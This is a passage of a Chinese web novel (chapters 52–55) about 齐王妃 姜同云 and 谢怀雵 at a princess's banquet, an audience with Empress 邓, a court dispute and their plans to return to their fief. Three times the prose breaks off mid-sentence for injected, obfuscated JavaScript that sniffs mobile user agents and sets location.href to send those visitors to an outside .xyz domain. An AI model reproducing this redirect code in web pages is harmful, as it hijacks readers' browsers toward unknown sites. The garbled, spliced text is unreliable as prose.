姜同云笑了:“你怎么不说我是蚯蚓成精,特别吸引这些鱼呢。” 谢含昭扮了个鬼脸:“那多难听啊,还是猫咪好!” 她还想再说两句,就见姜同云的鱼漂又沉了下去。 就这几句话的功夫,姜同云又上了一条鱼! 眼看姜同云的成绩已经超过了自己,谢含昭连忙坐正身子:“不说了不说了,我要专心钓鱼了!” 看小姑娘真的闭口不言,姜同云和钟家姑娘相视一笑,也各自投入到手中的鱼竿上去了。 等太子妃回来的时候,比赛刚好结束。 见只剩她们三人站在湖边,太子妃随口问了一句:“吴王妃呢?” “三嫂说坐不住,一早就跑去看大姐姐她们打牌了。” “吴王妃性情跳脱,要她这么一直坐着,还真是有些为难她了。”太子妃笑着打趣了一下吴王妃,走到三人身边去看,“哟,谁这么厉害,钓上来这么多!” 就见地上摆着的三只鱼篓里,有一只都快被四处扑腾的锦鲤装满了。而且这只鱼篓里的鱼个头都不小,里面甚至还有两三条罕见的金色锦鲤。 太子妃看向对面三人,正在猜测,就听姜同云不好意思地开口道:“这是我的。我看她俩钓,一时手痒,就也跟着钓了一会儿。” “是呢。”谢含昭点头为她作证,“姜姐姐拢共就钓了一炷香的时间,还比我们提前收手了。” “怪道含昭不让齐王妃参赛呢。”太子妃还是第一次见识到姜同云钓鱼地本事,不由啧啧称奇,“这要是让你来比,还有我们什么事啊。” 姜同云挠了挠脸颊:“我也就擅长这个了。说好的我做裁判,不参加比赛。这篓子鱼就别称了,直接放回去吧。” 说着,她双手提起鱼篓,走到湖边将一篓子的鱼全部倒回了水里。 “那咱们来看看剩下两个的。”太子妃早就退场了,根本也没比,这会儿心态就也好得很,帮着姜同云一起做起了裁判。 两边分别数完鱼的数量,又过了一遍称,最后发现钟家姑娘比谢含昭多钓上来一条,但谢含昭的鱼比钟家姑娘略重一点。 太子妃笑着拍了拍手:“既然这样,那就算你俩并列第一吧。横竖我备的奖品有多,你俩一人一样刚刚好。” 说着,她朝一旁的侍女招了招手,示意她们把奖品端上来。 很快,五名侍女端着五只大托盘过来了。 姜同云扫了一眼,托盘里零零总总地摆了有十来样。既有金银首饰,也有丝帕香囊,还有两样有趣的小玩意。 这位太子妃还真是一个妥帖至极的人。虽然说着是比赛,其实早就给每个人都备了奖品,谁也没落下。 “趁她们还在打牌,你俩先自己挑一样喜欢的吧。” 既然太子妃都这么说了,谢含昭就高高兴兴地跑上前去了。 等她挑完,钟家姑娘才不紧不慢地上前,在边上的托盘里拿走了一张丝帕。 太子妃又朝姜同云招了招手:“齐王妃也来拿一样吧,就当是你今日做裁判的酬劳。” 姜同云想了想,取走了一对做工精致的小泥人。 她刚把泥人拿到手上,那边的大公主四人也走了过来。 “你们分什么好东西,怎么也不叫我们?”二公主远远地就提出了疑问。 太子妃好脾气地笑道:“都有都有。我正打算让人去叫你们呢,现在你们过来了,就自己来挑吧。” 说着,她示意侍女们将托盘端了过去。 几人围着托盘,各自挑选了一番。 选完东西,时辰也差不多了。太子妃便宣布散宴,众人边聊天边往园子外头走去。 太子妃带着钟家姑娘走在最前头,刚才的打牌四人组略落后她俩一些,姜同云则被谢含昭拉着走在了最后面。 小姑娘看了看身后远远缀着的各府侍女们,扯了扯姜同云的袖子:“姜姐姐!” 姜同云略微俯身:“怎么了?” “你今天看了,觉得我这个未来的五嫂如何?” 听到这个问题,姜同云一时有些犹豫。 她回忆起钟姑娘行酒令和钓鱼时的表现,思考了一番才回答道:“看着是个沉静守礼的姑娘。” 谢含昭点了点头:“我也挺喜欢她的。” “母后要我和大嫂观察一下,看看她是个什么样的人。”小姑娘小声说道,“今日接触下来,我觉得她人还挺好的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818975|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “就是可惜了,要嫁给谢怀晟那种家伙。” 听到谢含昭这话,姜同云脑中不由地浮现起钟家姑娘那个一闪即逝的无奈表情。 确实可惜了。 她在心里叹了口气,揉了揉谢含昭的发顶,转移了这个话题:“你今年也满十三岁了,陛下应该也快要给你册封了。” 谢含昭大人似的叹了口气:“我倒是想再晚一些。母后近来精神不济。事多伤神,我册封的事拖一拖,她就能多歇一歇。” 想到谢怀雵上回提议自己进宫去探望一下皇后娘娘的事,姜同云便问道:“皇后娘娘近来可有空闲?我打算过两日入宫探望她一下。” 谢含昭惊喜地抬起头来:“真的吗?母后一定会很高兴的!” “不过最近宫里的事情确实不少……这样吧,我回宫后先跟母后提一下这事,让她来安排时间,如何?” 姜同云笑着点了点头:“好。” 两人刚把事情敲定,就听前头突然传来了一阵嬉笑声。 姜同云抬头望去,却见前面的三位公主和吴王妃一起扭过头来,正表情戏谑地盯着自己瞧。 她一时有些摸不着头脑:“怎么了吗?” 四人只看着她笑,没人替她解答疑问。 还是最前头的太子妃打发了侍女来找姜同云,顺便替她解了惑:“齐王妃,齐王殿下亲自来接您了。现在就在外头等着呢。” 这下,连谢含昭都忍不住笑了:“怀雵哥哥这是怕姜姐姐走丢了吗?” 姜同云一时有些脸红:这个人怎么回事啊! 大公主四人已经开始调笑姜同云了。 “新婚的小夫妻就是不一样。这才分开多久啊,就亲自跑过来接人了!”率先开火的是看热闹不嫌事大的二公主。 “出来赴个宴的时间都忍不了。我看齐王以后干脆买根绳,把他家王妃栓裤腰带上得了。”讲话这么直白的,定然就是吴王妃了。 喝多了酒的四公主茫然发问:“栓了绳子,他俩以后不就不能分开了吗?” 大公主便接着她这醉话道:“分不开才好呢!” 四个女人顿时笑作一团。 姜同云被她们说得又羞又恼,正准备不顾礼节先跑路算了,前头的太子妃温温柔柔地替她解了围:“齐王刚刚病愈,齐王妃快些出去吧,别让他等久了。” 姜同云红着脸点了点头。简单跟太子妃还有谢含昭道过别后,就小跑着出了门。 园子门口果然多挺了一辆标着齐王府徽记的马车。 马车旁早就摆好了脚蹬,姜同云爬上马车,掀开了帘子。 谢怀雵正安然自若地坐在里面。 “你怎么过来了?” 听出她语气里有些抱怨,谢怀雵解释道:“我下午出门办事,看时辰差不多,就顺道过来接你回去。” 姜同云嗔了他一眼:“你这一顺道,可让人把我笑话死了。吴王妃还让你买根绳子把我栓身上呢。” “这倒是个好提议。” 见他还敢赞同,姜同云把挑来的小泥人往他怀里一丢,又在他腿上锤了一下。 谢怀雵一手接住泥人,一手握住她的拳头,笑着改口道:“好好好,是我错了。” “既然夫人不愿意被拴着,那也可以把我拴在夫人身上。” 53. 进宫 太子妃的那场小宴过后没几日,邓皇后就宣了姜同云入宫。 这是姜同云第二次踏足椒房殿。上回来,邓皇后是在前殿的暖阁里见的她。这两日天气热,邓皇后常在后头临池的水榭里处理公务,姜同云就被带去了那边。 夏日温热的风吹过池水,再到水榭时已变得凉爽宜人。 姜同云进入水榭时,邓皇后正和谢含昭一道,坐在窗边吹风乘凉。 见到她来,邓皇后直接免了她的礼,并让她也一起坐到窗边来:“外头热得很吧。快来这里凉快凉快。” 姜同云依言在谢含昭身边坐了下来。 “前些天听含昭说,皇后娘娘近来有些身体不适,所以想着来探望您一下。”姜同云笑着说道,“不过您今日看起来精神不错,想来是我多虑了。” 邓皇后摆了摆手:“难为你挂心。前阵子天热,事情又多,我还真是有点精神不济。最近两日事情少了,自然就舒服多了。” 说着,她略支起身子来:“今日召你进宫,其实也是有件事想要问问你。” 姜同云一时有些讶异:“娘娘有何事但说无妨。” 邓皇后看向姜同云的眼睛:“前两天太子妃设宴,你应当与钟家那位姑娘接触过。我想问问你对她的看法。” 听到这话,姜同云下意识地看向身边的谢含昭。 见她这般动作,邓皇后笑了:“我已经问过太子妃和含昭了。” “不过太子妃一向待人宽和,从来都只会说好话;含昭这丫头,年纪又太小了,一门心思就知道玩。”邓皇后顿了顿,“听说那日你给含昭和钟家姑娘做过裁判,所以我想来问问你对她的看法。” 姜同云见谢含昭也是面露无奈之色,顿时明白邓皇后仍在忧心赵王的这门婚事。 斟酌了一下,她才缓缓开口:“据我观察,这位钟姑娘性情稳重、端庄守礼,行事作风都更像是文官家的女儿,不是那等张扬肆意之人。” 邓皇后品了品她的措辞:“你的意思是,她的性情更像太子妃一些?” 姜同云心里一紧。她也不知道邓皇后做这种类比是出于何意,只能含含糊糊地说道:“也是有些不同的吧。钟姑娘寡言少语些,与我们相处时不像太子妃那般亲善有加。” 听她这么说,邓皇后笑着安抚道:“你不必紧张。我只是想找个你认识的人作类比,没有要拿太子妃和钟家姑娘比个高下的意思。” 说着,她按住自己的太阳穴揉了揉:“算了,不说这些了,没得让你烦心。” 横竖她今日再问一遍姜同云,也只是想确认一下淮阳侯府的那位姑娘是不是个争强好胜的人。 现在知道她不是那种会撺掇着赵王做什么蠢事的性格,邓皇后自然也能放下一些心来。 至于旁的,那也不是一个赵王妃可以决定的事情。 想到这里,邓皇后停下了揉按额角的手:“前阵子怀雵生病,你也辛苦了吧。太子探望完怀雵回来,还特意提了一嘴,说你看着都憔悴了许多。” 见邓皇后主动转移话题,姜同云心里也松了一口气:“劳您和太子殿下费心了。我也出不了什么力,只不过陪着照顾几天罢了。” 邓皇后拍了拍她的手:“怀雵是个有福气的孩子。太医说他这病已经渐趋好转了,再仔细将养两年就能调理好的。” “我瞧着,自打成亲以后,怀雵的气色是一日好过一日。”邓皇后说着,脸上就流露出了善意的揶揄之色,“我看都要不了两年,他就能彻底好全。” “等他好了,陛下才能放心地把更多事情交给他办。” 听到这话,姜同云的心又控制不住地提了起来。 怎么?陛下还不打算放过谢怀雵吗? 他受伤以后身体都这样了,怎么还要给陛下当牛做马的啊。 姜同云挣扎了一下,还是决定从邓皇后这里先探一探口风:“陛下爱重,我们夫妻心里一直是感激不尽的。只是……我们到底是旁支了,总留在金陵也不合规矩。” 邓皇后脸上的笑意一滞:“怀雵他……是想回封地去了?” 一直闭口不言的谢含昭听到这话,立刻扭头看向姜同云:“姜姐姐和怀雵哥哥要走?” 坏了。 姜同云心里暗道不好:含昭就算了,怎么皇后娘娘看起来也不情不愿地呢。 她迟疑了一会儿才作出回答:“依我大越礼制,亲王本来也该留守封地。” 听她这样说,母女俩竟然同时露出了失望的表情。 谢含昭不必说。小姑娘一想到最能合得来的兄嫂就要离开金陵,往后恐怕一年才能见上那么几回,心里就难受得紧。 邓皇后想的就复杂得多。 她不是不知道,陛下这些年一直在用谢怀雵来分自己兄长手里的权力。 但一来,谢怀雵只是陛下的侄子,对太子的位置没有威胁。而且谢怀雵的母亲过世后,他被接进宫里那几年是由邓皇后亲自抚养的。邓皇后拿他当自己亲侄子看,他对太子也一直恭敬有加,明显是支持太子的,邓皇后对他自然没有那么防备。 二来,谢怀雵这些年虽然分了一些权力,但他从来没有和梁国公起过冲突。要是他走了,再换个人来,届时便是真的权力争夺,绝不会如今日这般安稳和谐。 不管怎么说,谢怀雵都比旁人更让邓皇后放心。 尤其是在陛下逐渐加强赵王权势的当下。 可姜同云说的也挑不出错来。 而且以她的性情,今日能提这事,多少也是代表了谢怀雵本人的态度。 想到这里,邓皇后不禁有些感伤:“陛下,还有太子,都需要怀雵啊。” 姜同云刚想再说些什么描补一下,却见邓皇后微微叹了口气:“你今日提这事,想必怀雵心里已有成算。” 姜同云看着她眼底的疲惫和伤感,想要劝慰两句:“皇后娘娘——” 邓皇后却摆了摆手:“也罢。既然你们都想好了,我也不能强留。” “不必忧心,陛下若是执意挽留,我也会帮着劝上两句的。” 她的脸上露出了慈爱的笑容:“这金陵,到底事多,不宜休养。你们俩回封地去,专心过自己的日 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姜同云点了点头:“我也这么觉得。但就因为她对怀着我们一片慈爱之心,所以我才会……” “觉得愧疚?” 听到谢怀雵的话,姜同云默默点了点头。 谢怀雵起身坐到她边上,抬手将她揽进自己怀里,温声安慰道:“这不是你的错。” “皇后的不安全感,是陛下所致。只要陛下继续用这种方式‘磨砺’太子,皇后心中的不安就不会消失。” “即使我们留在金陵,全力支持太子,那也不过是治标不治本,没法从根源上解决这个问题。” 闻听此言,姜同云惊讶地抬头看向谢怀雵:“是哦。” 她先前一直觉得自己辜负了邓皇后的善意,所以心里难受。直到这会儿谢怀雵点出造成皇后和太子困境的是陛下的行为,她才猛然从先前那条死胡同里钻出来。 “你心软,总是对旁人的伤痛感同身受,这是好事。但你不能把别人犯的错强行担到自己身上,明白吗?” 姜同云皱着眉想了想,觉得自己好像是有一点这种倾向:“那我尽量注意?” 谢怀雵笑着摸了摸她的头:“没事。要是你下次又遇到这种事,可以来告诉我。我会提醒你的。” 姜同云靠在他肩上点了点头:“嗯!” “谢怀雵,我发现你胆子挺大的,现在居然都敢直接挑陛下的不是了。” “什么叫‘挑’不是?本来就是他的不是。”谢怀雵挑眉,“我还记得你上次也说过,陛下将来很有可能会玩脱。” “我那是推测。”姜同云辩解道。 谢怀雵失笑:“好好好,推测。” “本来就是嘛。”姜同云嘀咕了一句,顿了顿,低低唤道:“谢怀雵。” “嗯?” “咱们先说好。以后你要是觉得我有哪里做得不对,你就直接告诉我。可别学陛下弄点什么‘磨砺’啊、“培养”啊这些东西。我没那么好的耐心,才不会陪着你玩这种猜心思的游戏。” “好,我答应你。” 54. 请罪 因为姜同云现跟邓皇后透过口风,谢怀雵就没拖到年后,很快寻了个机会跟陛下提了回封地的事情。 陛下早就从邓皇后口中知道了这件事,心里已经有过准备。谢怀雵正式向他提起后,他也没太过惊讶,只是照例挽留了两回。 因近来宗室内大事不少,最后两人商定,等明年参加完含昭的册封典礼后,再让谢怀雵带着姜同云回封地去。 七月中旬,兵部侍郎因家中老父过世,辞官归乡。侍郎一职空缺出来后,陛下立刻就将淮阳侯长子钟砀调至兵部兼任侍郎一职。 九月,六皇子受封卫王。 十月初,赵王和钟家姑娘完婚。 次月,陛下就把赵王安排去了北衙羽林军中为将。 除夕当晚,姜同云夫妻二人一同在宫中参宴守岁。 宴会散后,两人挽着手走出了巍峨宫城。 姜同云抬头望向天空,那里正升起无数绚烂的烟火。 今夜的金陵没有宵禁,宫墙之外仍是一片热闹欢庆。 因来往百姓众多,宫门口已经拥堵起来,各府车马都难以行进。姜同云看了看堵成一排的队伍,转头对谢怀雵道:“咱们走路回去吧!” 回府的路倒是不远,走路可能还真比坐车要快。但谢怀雵还是有些犹豫:“今天风挺大的,而且看这天气像是要落雪。你不冷吗?” 姜同云摇了摇头:“这么多人呢,能吹到几口风?咱们一路逛回去,顺便给老爷子捎坛热酒!” “好吧。”既然自家夫人有这兴致,谢怀雵自然要陪她一起。他给姜同云戴好风帽,牵起她的手朝家走去。 有谢怀雵在,他们一路顺利地穿过拥挤的人潮。 等他们拎着酒走到家门口时,天上飘落起了轻软蓬松的雪。 谢怀雵一手提着酒坛子,一手替姜同云遮盖落雪。两人缩着脖子小跑着冲到回廊底下。 “这雪下得也太突然了!”姜同云边说边帮着谢怀雵拂去发顶和肩膀上半化的残雪。 谢怀雵摸了摸她的手背,见确实不凉,才笑着回答道:“是啊。还好我们走得快,不然鞋子都要湿了。” 听见回廊上的动静,正厅的门帘被掀了开来。 老爷子拢着袖子走到门口,见是他俩回来,便笑眯眯地抬了抬手:“回来了?” “嗯!”姜同云笑着点了点头,拉上谢怀雵一道进了屋子。 ***** 二月初,冰雪消融。 今日天气有些阴沉,姜同云起床后窝在放了暖炉的屋子里不肯出去,连饭都是要人端过来吃的。 到了下午,低垂的乌云终于散去一些,稍稍漏了点阳光出来。 姜同云挪到临窗的软榻上,抱着针线筐正在做绣活。 谢怀雵进门时,看见的就是这一派宁静祥和的景象。 他脱了外衣挂在衣架上,走到软榻边坐下:“夫人这是在给我准备今年的生辰礼物了吗?” 去年他生日的时候,姜同云就亲手做了一只荷包给他。谢怀雵宝贝得紧,天天挂在身上,连着挂了好几个月都不肯换,还为此招了陛下一番笑。直到过年时,姜同云做了个新的给他,他才把那只旧的换了下来。 今天他腰上挂着的,就是过年时收到的那只。 姜同云斜了他一眼:“你生辰还早着呢。这是给含昭做的。” 谢怀雵顿时有些失望:“啊……含昭生日有什么好做的,你买个首饰给她就好了嘛。” “首饰也买了啊。但今年她要被正式册封了,光一套首饰还不太够,我想亲手做点什么送给她。” 谢怀雵抱上她的腰,把下巴搁在她肩上看着她绣花:“她这生日过得也太好了吧。” 去年自己生日也就得了一只小荷包而已! 姜同云抬肩顶了他一下:“你别妨碍我。” 谢怀雵不情不愿地挪开脑袋,酸溜溜地说道:“反正我每次都要被含昭比下去的。” 听到这话,姜同云是好气又好笑。 感情过了一年,这人就只是从两岁长到了三岁吗。 姜同云赶紧寻了个话题,免得他继续喝这没头脑的干醋:“你今日去兵部交接,怎么耽误了这么久?” 因为已经和陛下说好,要在含昭册封典礼之后离京,所以谢怀雵这段时间一直在处理公务交接的事情。不过这两日已经弄得差不多了,按理来说不该回来这么晚的。 一说到这事,谢怀雵就忍不住想笑:“本来是该早早回来了。这不是被拉着去看热闹了嘛。” 一听有热闹,姜同云的好奇心就被勾了起来:“什么热闹啊?” “嗯,夫人还记得年前,朝上争论边境士兵发赏银的事情吗?” 这件事,姜同云自然是记得的。 前年邢国公就发现北边又有异动,上报朝廷要求早做预防。当时陛下就是借着这事的由头,封她做了永平乡主。 去年的时候,晋朝果真就又派了小支队伍扰边。 因为邢国公预判得当,粮草等物齐备,所以晋朝没能讨到好处。但他们一直都不死心,几次三番地侵扰,即使临近年关都不消停。 考虑到边境的将士们也紧张应对了一年,所以在过年之前,陛下提出要额外拨一笔款项,给辛苦了一年的边境军士多发点银钱。 当时梁国公就在朝上提出,晋朝这两年来有些内斗。现任晋朝皇帝已过花甲,却迟迟不肯定立储君,以至他膝下几个儿子争斗愈发激烈。这频繁的扰边行为就是其中一名晋朝皇子为自己捞功所为。 所以他提议,除了发赏银以外,还要再多囤一些兵甲粮草,以备不时之需。 但陛下有些犹豫。 去年国库用度其实并不紧张,所以他才会想着再多发一笔钱,也能顺势稳一稳军心。但真要像梁国公说的,再多备兵甲粮草,那支出可就大了。 看出了陛下的迟疑,新上任不满半年的兵部侍郎钟砀立刻就出来反对梁国公了。 他的理由也算充分。边境如今的状况还算平稳,犯不着先做这种准备。而且要是真到了需要的时候,坐镇边境的邢国公也会及时上报的。 两人在朝上争论了好久,最后陛下只先定了发赏银的事情,把囤军需的事情押后了。 这一押,就过了一个年。 “昨天上朝的时候,梁国公又提起了这件事。”谢怀雵玩着姜同云的头发,缓声说道,“这一次,他有邢国公的军情奏报为支撑,底气一下就足了许多。” 邢国公年后送回来的奏报里,确实也提到了晋朝内部斗争,边境形势紧张的消息。 梁国公以此为由,据理力争,请求陛下早做准备。 “邢国公的奏折里其实也提了准备军需物资的事情。他老人家坐镇边境多年,对前线状况的把握自是无人能及。按理来说,有他这封奏折在,别人怎么都不该再反对的。” 姜同云扬了扬眉毛:“钟侍郎不会还要反对吧?” 谢怀雵提了提唇角:“他看陛下一时没有应允,以为陛下心中仍然反对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837830|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,所以就……” 钟砀的这个侍郎,其实做的也没那么顺利。 他刚接任兵部职位的时候高兴地好几天都睡不好,觉得陛下果真看重他们钟家,钟家又要重现往日父亲掌兵时的荣光了。 但当了一阵子后,他就发现事情没有那么简单。 现任兵部尚书,他的顶头上司,就是梁国公。因为各方面的原因,他刚到兵部时事事以梁国公为首,谨记着自己父亲的教导,多看多听多学,但绝不多言多行。 可他越是这样,陛下对他就越是冷淡。 直到有一天,在紫宸殿里奏对时,他嘴快纠正了梁国公一处错漏,正在担心呢,坐在上首的陛下突然对他大加褒扬。 钟砀这才回过味来,原来陛下把他弄去兵部,是要他跟梁国公作对的。 钟砀自觉明白了陛下的心意,决定抱紧陛下这条最粗的大腿。于是他就在反对梁国公的道路上越走越远。 到去年年底的时候,梁国公和钟砀已经隐隐有了些水火之势。 昨天梁国公拿了邢国公的奏折为依据,钟砀本来打算就此认怂的。可他抬眼一看,御座上的陛下面色晦暗、似有不悦,于是把心一横,又开始反驳。 梁国公已经有点不太想搭理他了。 看出自家舅舅有些生气,怕两人继续吵下去情况失控,太子便站了出来做和事佬。 太子倒也没有上来就偏帮梁国公,而是各自都夸了两句以示安抚,只在最末尾提了一下早做准备也好。 这位钟大人不知道是不是脑子坏了,居然回了一句“太子不知囤积军需靡耗甚巨劳民伤财”。 “太子倒是好脾气,只说自己经验不足,还给了钟砀一个台阶下。”谢怀雵摇了摇头,“可我看陛下的那脸色,可真是精彩得很。” 姜同云越听越无语:“这位钟侍郎还真是……” 陛下可以觉得太子性格柔善经验不足,但他是陛下,而且他对太子别的地方都是满意的。你一个做臣子的,这样说储君是嫌自己命不够长吗? “所以今天,淮阳侯拉着他,到东宫门口负荆请罪去了。” “真负荆请罪啊?”姜同云不由瞪大了眼。 “真的啊。那么粗那么长的荆条,这么一大把呢。”谢怀雵边说边给姜同云比划,“钟砀还把上衣都脱了。” “哇,这得多疼啊。”姜同云不由摸了摸自己后背。 “太子接到消息后马上就出来了。他想扶钟砀起来,结果淮阳侯不肯,硬拉着自己儿子在东宫门前跪了小半个时辰,之后还给陛下和太子分别上了一道请罪折子。” 听到这里,姜同云忍不住摇了摇头:“淮阳侯都这么大一把年纪了。我听说他先前都病得躺在床上休养了,今天居然爬起来这么折腾一通,真是可怜。” “谁说不是呢。”谢怀雵也跟着叹了口气,“我被拉去东宫门口看热闹的时候他们已经跪了一会儿了。后来还是太子和梁国公轮番去劝,淮阳侯才肯起来的。要不是这样,我看他真能陪着钟砀一起跪下去。” “按邢国公的评价,淮阳侯自己是个小心谨慎的人,怎么偏生养个儿子是个这种性格?”姜同云说着,又想起现在已是赵王妃的钟家姑娘来,“我看赵王妃也是少言多思的人,偏生她这位大伯……实在是一言难尽。” “谁知道呢。”谢怀雵把姜同云的发梢拢在手心里,“不过这件事后,我觉得咱俩是该早点跑路了。” “陛下捧上来的人要都是这种水平,这金陵,迟早要乱。” 55. 离别 三月底,在京的宗室一道参加了谢含昭的册封仪典。 刚满十四的五公主被封为楚国公主。相较于她的三位姐姐,楚国公主不仅受封更早,册立仪典的规制也更高一些,足以彰显陛下对其宠爱。 因谢含昭还未及笄,陛下赐下的公主府也尚未修缮完毕,所以她没有离开帝后,而是照旧留在宫中居住。 参加完仪典出来,姜同云不由感慨了一句:“陛下还真是懂得打一巴掌给个甜枣的道理。” 上回淮阳侯押着长子去东宫负荆请罪后,陛下表现得倒是挺宽容大度的。不仅没有再责罚钟砀,反而还以淮阳侯年事已高、身体不好为由,赏赐了淮阳侯府好些珍贵的补品。 陛下这番操作,朝野间倒是颇有夸赞,说陛下有圣君之雅范。但当事人双方可都不太好过。 受了赏的淮阳侯只觉得陛下是真要逼他们当太子登基后开刀立威的第一只鸡,当场心凉了半截,回去后没两天就病得下不来床了。 至于太子那边,那就更是气愤了。钟家作为臣子,都挑刺到储君头上来了,陛下不但不罚,居然还要赏他们,这要让旁人怎么想?觉得太子好欺负,谁都可以来动一下吗? 虽然太子本人对此事没有什么表示,但邓皇后是扎扎实实地被气病了,连自己女儿册封的仪典都没力气打理。 邓皇后病倒后,仪典的事情就被陛下移交给了太子妃和宫内诸司一同办理。 许是出于安抚和弥补的心理,陛下特意交代,这次仪典要比照着越朝公主册封的最高规格来办,赐给谢含昭的一应物品也都比她的三个姐姐多了近一倍。 陛下的这番安排也确实稳住了邓皇后。今日仪典上,邓皇后看着颇有精神,一点也不见前阵子姜同云去探望她时的那种病恹恹的模样。 听到姜同云的话,谢怀雵笑了笑:“他一贯都是如此。” 这段时间,他和姜同云都分别劝慰过邓皇后、太子和梁国公,也曾隐晦委婉地透露过他们对陛下心理的猜测。 可惜谢怀雵那边的反馈并不太好。 太子根本就没听明白他在暗示什么,反而还表示陛下宽容大量,是自己学习的榜样。 这可真是给谢怀雵弄得头大。 陛下这会儿只怕巴不得太子拿出储君的款儿来,好好敲打一番淮阳侯府,立一立太子的威。可太子却表现得毫不在意臣子对自己的冒犯,这只会更加让陛下感到失望。 有时候谢怀雵是真的觉得,都怪陛下这些年装仁德装得太过成功,以至于他的亲儿子都被他的表象骗了过去,跟着他的仁君假面直接学傻了。 至于梁国公那边,那就更是棘手了。 梁国公倒是觉得,太子应该想法子整一整钟砀,免得让人家觉得储君软弱可欺。可太子不肯听他谏言,这几日他们舅甥之间本就闹得有些不太愉快。听到谢怀雵的暗示后,梁国公又理解歪了,不仅压根没往陛下那方面猜,还觉得谢怀雵支持自己的意见,想拉着谢怀雵一起再去劝说太子。 谢怀雵哪里敢掺和进他俩之间的事情里去啊。不光轻重不好拿捏,真要给他协调好了,只怕他带着媳妇儿回封地的计划也要跟着泡汤! 于是他赶紧找了借口,抽身跑路了。 姜同云这边,邓皇后的反应就好得多。 邓皇后明显要比她的哥哥和儿子聪明,姜同云只稍稍点了一下,她就有些琢磨过来陛下的意思了。 这一反应过来,邓皇后惊觉太子这些年是被养得有些过于软弱了。 只是…… 太子早已成年,性格习惯皆已养成,如今再想扳过来也不是件简单的事。邓皇后总不能跟训小孩一样去教太子吧,那一个弄不好,不仅目的达不成,搞不好还要母子离心了。 所以她暂时也没有动作,只是暗暗记下了这件事,想着寻个机会跟梁国公通过气,然后兄妹俩一个在内一个在外,慢慢给太子改一改性情。 姜同云回去跟谢怀雵对过进度以后,谢怀雵总算是松了口气,连连夸赞还是自家夫人和皇后娘娘更有默契。 既然邓皇后已经有了成算,他们夫妻俩自然也就不用再担忧太子的事情,这些天可以专心地收拾行李,准备回封地去了。 越朝亲王虽以国号为封,但越朝到底只占着南边这块土地,所以亲王们的封地大多数时候跟封号是对不上的。 好比谢怀雵,他的封号是“齐”,封地却在婺州。 不过婺州距离杭州不远。一想到将来跟外祖父往来会更加便捷,姜同云心里就很是高兴,恨不得能早点跑去婺州定居。 “咱们这两天除了要再办一场宴会外,就没别的事情了吧。”姜同云一边清点装着衣裳的箱子,一边问道。 “我明日要再往邢国公府一趟,给邢国夫人送点东西。”谢怀雵帮着她核对单子,顺口回答道。 “送礼物吗?”姜同云也没觉得奇怪。她知道谢怀雵心里是很尊重邢国公的,这会儿要走了,亲自往邢国公府一趟跟邢国夫人辞别也是合乎礼数的。 “算是吧。”谢怀雵扫了一眼屋子里的侍女,见她们都在外间忙碌,便凑到姜同云耳边悄声道,“我想了想,觉得夫人说的很有道理,陛下将来很有可能会在赵王的事情上失去掌控力。正好我手里还捏着赵王的一个小把柄,打算离京前托给邢国夫人保管。” 听他当着别人的面议论陛下,姜同云被吓了一跳,赶紧抬头去看外间的侍女们。 好在她们都没有什么异样,显然是没注意到两人交谈的内容。 姜同云连忙拉着谢怀雵走到更内侧的衣柜边:“你怎么当着这么多人的面说这个!” 谢怀雵笑道:“放心,我有分寸的。” 姜同云斜了他一眼,没再多问,转头故意对着外头提高了声音:“既是要去拜访邢国夫人,那就不好失了礼数。我再给你准备些东西吧。” 谢怀雵笑着配合她:“那就有劳夫人了。” ***** 次日一早,谢怀雵就到了邢国公府上。 “再有两日我就要回封地去了,所以今日特意来跟您辞行。”谢怀雵说着,双手递上一份礼单册子,“拙荆备了一些东西给您,您瞧瞧看。” 邢国夫人笑着接过礼单,只翻看了两页,脸上的表情就略凝滞了一下。 她合上礼单,抬手唤来侍女:“我忘了,齐王殿下不爱喝这种茶。你们去煎盏清茶来。” 等侍女退下后,邢国夫人才瞪了谢怀雵一眼:“臭小子,你给我看这东西是什么意思?!” 谢怀雵笑了:“我马上要走了,所以托您暂时保管一下。” “我可保管不了。”邢国夫人嘴上这么说,却没把手里的册子扔回给谢怀雵。 谢怀雵对着邢国夫人诚恳地一揖:“老夫人,如今朝堂的形势,您看得应该是再清楚不过,陛下的用意,您应该也有所察觉。我把东西交给您来保管,只是想为陛下和太子多设一道防线。” “那你应该把这东西拿给东宫或者梁国公府保管。”邢国夫人根本就不吃他这一套。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841070|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢怀雵无奈地笑了:“若是太子和梁国公能处理好这件事,我也就不必来麻烦您了。” “以太子的性情,他要是拿了此物,一定会当场销毁;可要是给梁国公,他等不了几日肯定就想收拾赵王。东西交给他们俩,是没有办法发挥最好的作用的。” “邢国公常夸您在把握时局的方面更胜过他三分。在如今的金陵,我能信任的也就只有您了。” 